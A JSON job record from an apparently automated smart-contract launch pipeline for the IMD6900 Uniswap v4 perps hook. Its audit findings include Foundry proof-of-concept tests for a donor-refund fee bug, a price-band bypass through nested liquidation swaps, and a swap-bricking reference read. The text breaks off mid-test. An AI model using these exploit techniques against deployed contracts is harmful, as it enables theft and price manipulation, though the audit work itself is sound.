{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"62006106-af99-42ba-9c41-028e2ad94d94","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"8f2845869d36621963d8ccc950b5ec02bb818ca540d13135aeb3ee72575ee125","dependsOn":["audit_imported_code"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"81b7052da6cdca6819abb4b1fb4924e31086633863b272c8ed89d9b24523ab82","skillId":"adapt-contract-project","tools":[]},"key":"adapt_contract_project","kind":"code","role":"implement","skillHash":"81b7052da6cdca6819abb4b1fb4924e31086633863b272c8ed89d9b24523ab82","skillId":"adapt-contract-project","state":"accepted"},{"acceptedSubmissionHash":"507a6b63c9527bf6d2957ef82410eb842ae0328905ec95dc1006182232ed98e4","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"aa80f3c42f1635d5fc58b4be61570488310544e42ba719472e75f363cd62c4af","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"16225d9bf7305cd7d778d6bc86106d9b3b59fd072e5df30990d4f4fff64ec112","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","tools":[]},"key":"audit_imported_code","kind":"code","role":"review","skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","state":"accepted"},{"acceptedSubmissionHash":null,"dependsOn":["adapt_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"failed"},{"acceptedSubmissionHash":"eac4379b0899205b32b9633e16d2bc52f1774f512ca54cf93221df6c0ea035cc","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"949464f9113730d3650b713511e5bf06e3de64296cac3bfdae3e24ff44e8a8f8","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"5bfa08b51b56fbe93720dfac782b965a14de4bedab507bfa3ccb83003d2d2e0f","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"97c36a8a82c72aabf7a679137c6856bbb55f45bbe4959421635da639893eacd8","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","state":"accepted"}],"objective":"Deploy IMD6900's in-pool perps hook and its pool on Robinhood Chain, exactly as they are in the repository: one contract, IMD6900PerpsLaunch (src/IMD6900PerpsLaunch.sol), with four constructor arguments in this order: 0x8366a39CC670B4001A1121B8F6A443A643e40951 (Uniswap v4's PoolManager on Robinhood Chain), 10000 (the pool's static fee, hundredths of a bip: 1%), 0x35da9c0303507ddf708e87f2568eddf12c47a059 (owner of the pool and the hook), 0x35da9c0303507ddf708e87f2568eddf12c47a059 (the hook's fee address). Its constructor creates IMD6900PerpPool, mines a CREATE2 salt from its own address until IMD6900PerpHook's address carries exactly the hook's permission flags (Uniswap v4 reads them from the address; nobody can mine for IMD's deployer in advance), creates the hook there, wires the pool to it and hands both to the owner. It calls nothing that existed before it, so it deploys the same on a fresh chain (test_DeploysOnAFreshChain); the whole launch, mining included, fits one transaction (test_FitsOneTransaction); no contract shows CALLCODE, DELEGATECALL or SELFDESTRUCT (test_PassesTheAdmissionScan). Do not change the hook's permissions, its fee handling or the constructor arguments: the flags must stay those IMD6900PerpsLaunch.FLAGS mines for (no return deltas, no dynamic fee, so Uniswap's router quotes the pool automatically). The perps engine is not part of this launch: the owner deploys it after opening the pool and wires it with setPerpEngine. The pool is opened by the owner after the coin launches on Pons (script/Owner.s.sol; the coin is IMD6900 at 0x69005D86d2c1bb1dFE70Df48e27D6aa02D044149, launched by IMD launch #1026), so nothing in this launch names the coin. The owner can always take all of the pool's liquidity back (removeLiquidity; the hook only checks the caller is the pool and the range is full), which is how a future hook replaces this one: keep that property. Everything builds offline (lib/ is vendored; v4-core's PoolManager is used by the tests only); test/RobinhoodFlow.fork.t.sol runs the whole flow on a Robinhood fork when ROBINHOOD_RPC_URL is set and skips otherwise.","parentJobId":null,"planHash":"afcc5a08d01c505858fc949cd7baac2e80c6c739a81780b912812ae2d19f3a6d","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"62006106-af99-42ba-9c41-028e2ad94d94","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-1209-imd6900perpslaunch"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52212","feedbackHash":"08796133b2505ac62b5746bd4681fae3114903041b81e8ef156f8edb2b1d290c","nodeKey":"adapt_contract_project","submissionHash":"8f2845869d36621963d8ccc950b5ec02bb818ca540d13135aeb3ee72575ee125","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52223","feedbackHash":"27b61c6c0527581869194808b0bdc59e68dc5e4f428e8631b529ffc7492f289f","nodeKey":"audit_economics","submissionHash":"507a6b63c9527bf6d2957ef82410eb842ae0328905ec95dc1006182232ed98e4","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51872","feedbackHash":"a9ace86bc4fadd5fe4599487d70790c9b23de5542eb3d61f2940bfc3979048da","nodeKey":"audit_flow","submissionHash":"aa80f3c42f1635d5fc58b4be61570488310544e42ba719472e75f363cd62c4af","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51515","feedbackHash":"b149d323eb010539ab07f2f5c0f3f28f448cc855d219ebb6bfa5bffa5d763734","nodeKey":"audit_imported_code","submissionHash":"16225d9bf7305cd7d778d6bc86106d9b3b59fd072e5df30990d4f4fff64ec112","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52292","feedbackHash":"97fdce0ed780b123ccbb40f9815a0732e94dada5cc7ba56f2ba0e6e84297dfa2","nodeKey":"audit_math","submissionHash":"eac4379b0899205b32b9633e16d2bc52f1774f512ca54cf93221df6c0ea035cc","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52272","feedbackHash":"b3f188f74ee26a000b433e6fc032805f7196de1723db0ae1a61824adee396b2e","nodeKey":"audit_permissions","submissionHash":"949464f9113730d3650b713511e5bf06e3de64296cac3bfdae3e24ff44e8a8f8","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52213","feedbackHash":"d67d3431305b31ddb5b63a58f30797ca4573ba40a6e4ccc2f83d81f36a5859f6","nodeKey":"manifest","submissionHash":"5bfa08b51b56fbe93720dfac782b965a14de4bedab507bfa3ccb83003d2d2e0f","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51753","feedbackHash":"bf585bba29ddbfa98d4e00dbe61e44c8c8c4d176a991feb848509aec4dcd7fc2","nodeKey":"write_foundry_tests","submissionHash":"97c36a8a82c72aabf7a679137c6856bbb55f45bbe4959421635da639893eacd8","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"2b866d99a10f39bdd4cb1500a1fabeed37165af4dd3be99a71efce87923c4769","state":"blocked","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ea89e16822824c6f","findings":[{"citation":"resolved","description":"addLiquidity promises that \"what the price doesn't take goes back to refundTo\". ethIn/tokensIn come from unlockCallback (line 216: `return abi.encode(_abs(a0), _abs(a1));`), which returns the absolute value of the PoolManager's caller delta. In Uniswap v4 that delta is principal owed NET of the position's accrued fees (modifyLiquidity returns callerDelta = principal + feesAccrued, and this is the protocol's only position, so every add collects every fee earned since the last modify). Three consequences. (1) When the accrued ETH fees F0 exceed the ETH the add owes O0, a0 is positive, the pool `take`s F0-O0 to itself and reports ethIn = F0-O0; the refund becomes msg.value-(F0-O0) (or nothing when F0-O0 >= msg.value), so the donor's ETH beyond O0 is kept by the pool as `pending`. Same for the coin leg via a1 (sells accrue coin fees). (2) When F0 < O0, ethIn = O0-F0 and the donor is refunded F0 more than the price took: the position's fees are handed to whoever adds. (3) The event LiquidityAdded reports the netted numbers, not what was added. compound() and open() are unaffected (own balance / fresh position); removeLiquidity returning principal+fees to the owner is correct. Fix: return the principal amounts for adds (callerDelta minus feesAccrued, both returned by modifyLiquidity) and compute refunds from those; let the fees stay with the pool contract as pending for compound.","line":155,"path":"src/IMD6900PerpPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\ncontract Curve {\n    uint256 public q; uint256 public t; address public token;\n    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }\n    function getReserves() external view returns (uint256, uint256) { return (q, t); }\n    function graduated() external pure returns (bool) { return false; }\n    function pairToken() external pure returns (address) { return address(0); }\n    function factory() external pure returns (address) { return address(0); }\n}\n\ncontract Trader {\n    IPoolManager immutable pm; PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) pm.take(c, address(this), uint128(v));\n    }\n    receive() external payable {}\n}\n\n/// @notice IMD6900PerpPool.addLiquidity promises that \"what the price doesn't take goes back to refundTo\". The refund\n///         is computed from the PoolManager's net delta, which also carries the position's accrued fees, so once the\n///         position has earned more ETH in fees than the donor's add consumes, the donor's refund is cut by the\n///         fees (and the pool keeps the donor's ETH as \"pending\").\ncontract AddLiquidityRefundTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    address constant DONOR = address(0xD0708);\n    IMD6900PerpPool pool; IMD6900PerpHook hook; Coin coin; Trader trader;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new Coin();\n        Curve curve = new Curve(address(coin), 1 ether, 1e27); // 1e9 coin per ETH\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);\n        vm.stopPrank();\n        trader = new Trader(PM);\n        vm.deal(address(trader), 10 ether);\n    }\n\n    function test_donorGetsBackWhatThePriceDidNotTake() public {\n        PoolKey memory k = pool.poolKey();\n        // ordinary trading accrues the pool's 1% fee to the position: five 0.1 ETH buys = 0.005 ETH of ETH fees\n        for (uint256 i; i < 5; ++i) {\n            BalanceDelta d = trader.swap(k, true, -0.1 ether);\n            trader.swap(k, false, -int256(uint256(uint128(d.amount1())))); // sell it back\n        }\n        // a donor adds a little coin with 0.01 ETH alongside; at 1e9 coin per ETH, 1e18 coin pairs with ~1e9 wei\n        coin.mint(DONOR, 1e18);\n        vm.deal(DONOR, 0.01 ether);\n        vm.startPrank(DONOR);\n        coin.approve(address(pool), type(uint256).max);\n        pool.addLiquidity{value: 0.01 ether}(1e18, DONOR);\n        vm.stopPrank();\n        uint256 spent = 0.01 ether - DONOR.balance;\n        emit log_named_uint(\"ETH the price took from the donor (wei)\", spent);\n        // the add consumed about 1e9 wei of ETH; the rest of the 0.01 ETH must come back\n        assertLt(spent, 1e12, \"the donor paid the position's accrued fees instead of what the price took\");\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x; uint256 y = (x + 1) / 2;\n        while (y < r) { r = y; y = (x / y + y) / 2; }\n        z = uint160(r);\n    }\n}","reproduction":"Real v4 PoolManager offline (as test/IMD6900Perps.t.sol): launch, owner opens with 2 ETH + 2e27 coin at 1e9 coin/ETH. Trader does five 0.1 ETH buys each sold back (ordinary trading); the position has accrued 0.005 ETH of ETH fees. Donor calls pool.addLiquidity{value: 0.01 ether}(1e18, donor). At 1e9 coin/ETH, 1e18 coin pairs with ~1e9 wei, so the expected refund is 0.01 ETH - ~1e9 wei. Actual: a0 = +0.005 ETH (fees minus the ~1e9 owed), ethIn = 4999998995226116, refund = 0.01 ETH - 0.004999998995 ETH: the donor is charged 4,999,998,995,226,116 wei (0.005 ETH) for liquidity that took ~1e9 wei. test/scratch/AddLiquidityRefund.t.sol fails with `4999998995226116 >= 1000000000000` and passes when unlockCallback returns the principal (delta minus feesAccrued) for positive liquidityDelta.","severity":"high","snippet":"        if (msg.value > ethIn) SafeTransferLib.forceSafeTransferETH(refundTo, msg.value - ethIn);","title":"addLiquidity refunds from the fee-netted delta: a donor pays the position's accrued fees instead of what the price took"},{"citation":"resolved","description":"_afterSwap runs the best-effort sweep first and the band check second. A liquidation inside the sweep is a swap by the engine through this same pool; the engine's nested _beforeSwap stores type(uint256).max in transient DEV_SLOT (tracksPons(engine) is false) and its nested _afterSwap consumes it. The outer _checkBand then tloads max and returns at `if (devBefore == type(uint256).max) return;`, so TooFarFromPons is never evaluated for the outer trade. Any trade whose post-trade sweep closes at least one position may leave the pool arbitrarily far from the Pons price, which is exactly the perps-mark manipulation the band exists to stop (and which the pre-trade sweep's estimate can be steered around: open a position the pre-trade sweep does not catch but the post-trade one does). Fix: tload DEV_SLOT before the post-trade _sweep and pass it to _checkBand, or restore it after the sweep.","line":394,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\ncontract Curve {\n    uint256 public q; uint256 public t; address public token;\n    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }\n    function getReserves() external view returns (uint256, uint256) { return (q, t); }\n    function graduated() external pure returns (bool) { return false; }\n    function pairToken() external pure returns (address) { return address(0); }\n    function factory() external pure returns (address) { return address(0); }\n}\n\ncontract Trader {\n    IPoolManager immutable pm; PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) pm.take(c, address(this), uint128(v));\n    }\n    receive() external payable {}\n}\n\n/// @dev A perps engine as the hook calls it: the pre-trade sweep finds nothing, the post-trade sweep closes one\n///      position, which is a swap of the engine's own through the pool (a liquidation is exactly that).\ncontract Engine {\n    IPoolManager immutable pm; PoolKey key;\n    constructor(IPoolManager pm_, PoolKey memory k) { pm = pm_; key = k; }\n    function openCount() external pure returns (uint256) { return 1; }\n    function sweepLiquidations(address, int256 spec, bool, uint160) external returns (uint8) {\n        if (spec != 0) return 0; // pre-trade: nothing to close yet\n        // post-trade: close a position = the engine swaps in the pool (it is the sender, so the hook skips the sweep)\n        BalanceDelta d = pm.swap(key, SwapParams(true, -1e14, TickMath.MIN_SQRT_PRICE + 1), \"\");\n        pm.settle{value: uint128(-d.amount0())}();\n        pm.take(key.currency1, address(this), uint128(d.amount1()));\n        return 0;\n    }\n    receive() external payable {}\n}\n\n/// @notice The band (TooFarFromPons) is the hook's only protection of the perps mark. It compares the deviation after\n///         the swap with the one stored in transient slot DEV_SLOT before it. The post-trade sweep runs BEFORE the\n///         band check, and a liquidation inside it is a nested swap by the engine, whose own beforeSwap overwrites\n///         DEV_SLOT with type(uint256).max, so the outer band check returns early: any trade that triggers a\n///         post-trade liquidation can move the pool arbitrarily far from Pons.\ncontract BandBypassAfterSweepTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpPool pool; IMD6900PerpHook hook; Coin coin; Trader trader;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new Coin();\n        Curve curve = new Curve(address(coin), 1 ether, 1e27);\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);\n        vm.stopPrank();\n        trader = new Trader(PM);\n        vm.deal(address(trader), 10 ether);\n    }\n\n    function test_bandStillHoldsWhenThePostTradeSweepLiquidates() public {\n        PoolKey memory k = pool.poolKey();\n        // without an engine, the band refuses a 1 ETH buy into 2 ETH of depth (the repo's own test)\n        vm.expectRevert();\n        trader.swap(k, true, -1 ether);\n\n        Engine engine = new Engine(PM, k);\n        vm.deal(address(engine), 1 ether);\n        vm.prank(OWNER);\n        hook.setPerpEngine(address(engine));\n\n        // with the engine wired, the same trade must still be refused: it is not the engine's, and it leaves the pool\n        // far beyond maxDeviationBps (30%) from Pons\n        vm.expectRevert();\n        trader.swap(k, true, -1 ether);\n        assertLe(hook.deviationBps(), hook.maxDeviationBps(), \"the pool was pushed past the band\");\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x; uint256 y = (x + 1) / 2;\n        while (y < r) { r = y; y = (x / y + y) / 2; }\n        z = uint160(r);\n    }\n}","reproduction":"Real v4 PoolManager offline; pool opened with 2 ETH / 2e27 coin at the Pons price (curve 1 ETH : 1e27). Without an engine, Trader.swap(key, true, -1 ether) reverts TooFarFromPons (the repo's test_RefusesToDriftFarFromPons). Owner wires hook.setPerpEngine(E) where E.sweepLiquidations returns 0 for spec != 0 and, for spec == 0, performs one 1e14-wei exact-input buy through PoolManager.swap and settles (what a liquidation is). The same Trader.swap(key, true, -1 ether) now SUCCEEDS and hook.deviationBps() is far above maxDeviationBps (3000). test/scratch/BandBypassAfterSweep.t.sol fails with `next call did not revert as expected` and passes once _afterSwap reads DEV_SLOT before calling _sweep.","severity":"medium","snippet":"        _sweep(sender, 0, false, 0);\n        _checkBand();","title":"Band check skipped whenever the post-trade sweep liquidates: the engine's nested swap overwrites DEV_SLOT"},{"citation":"resolved","description":"_graduatedPriceX96 documents that \"a reference we cannot read must leave the pool trading (band and skim simply off), never revert somebody's swap\". Only the `factory()` call is inside the try; `getLaunchedToken` (decoded into a struct copied \"field for field\" from PonsV2LaunchFactory, unverifiable offline), `token()`, `memeHook()`, `getSlot0` and the FullMath inversion run in the success block, where a revert propagates. ponsPriceX96 also calls `graduated()` and `getReserves()` (lines 275-276) with no protection at all. ponsPriceX96 runs in _beforeSwap for every sender that tracks Pons (all ordinary traders) and again in _checkBand, so any revert makes every ordinary swap revert. IMD6900PerpPool sets `curve` only in open (src/IMD6900PerpPool.sol:133 `curve = curve_;`) and has no setter, and the hook has no override, so the owner cannot repair it: the only exit is removeLiquidity and a new launch. Triggers: the Pons factory's getLaunchedToken ABI differing from the copied struct once the coin graduates, a factory upgrade, or an owner mistyping curve_ at open (an address without code reverts the high-level `graduated()` call). Fix: do the whole reference read in an external view on this contract wrapped in try/catch (or a low-level staticcall with abi.decode guarded), including graduated()/getReserves(), and consider an owner setter for the reference behind the timelock.","line":286,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// @dev A Pons factory whose launched-token read does not decode as the hook's copied struct (or reverts for any\n///      other reason: an upgrade, a renamed getter, a paused registry)\ncontract Factory {\n    function memeHook() external pure returns (address) { return address(0); }\n    function getLaunchedToken(address) external pure returns (uint256) { revert(\"layout changed\"); }\n}\n\n/// @dev The coin's Pons curve after graduation: it still answers getReserves and graduated(), and names its factory\ncontract GraduatedCurve {\n    address public token; address immutable f;\n    constructor(address token_, address f_) { token = token_; f = f_; }\n    function getReserves() external pure returns (uint256, uint256) { return (1 ether, 1e27); }\n    function graduated() external pure returns (bool) { return true; }\n    function pairToken() external pure returns (address) { return address(0); }\n    function factory() external view returns (address) { return f; }\n}\n\ncontract Trader {\n    IPoolManager immutable pm; PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) pm.take(c, address(this), uint128(v));\n    }\n    receive() external payable {}\n}\n\n/// @notice IMD6900PerpHook._graduatedPriceX96 says \"a reference we cannot read must leave the pool trading (band and\n///         skim simply off), never revert somebody's swap\", and wraps the read in try/catch. Only the `factory()` call\n///         is inside the try: `getLaunchedToken`, `token()`, `memeHook()` and the struct decode run in the success\n///         block, outside it. Once the coin graduates, any revert there reverts every swap that tracks Pons (every\n///         ordinary trade), and IMD6900PerpPool has no way to change `curve` after `open`: the pool is closed for good.\ncontract GraduatedReferenceBricksTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpPool pool; IMD6900PerpHook hook; Coin coin; Trader trader;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n    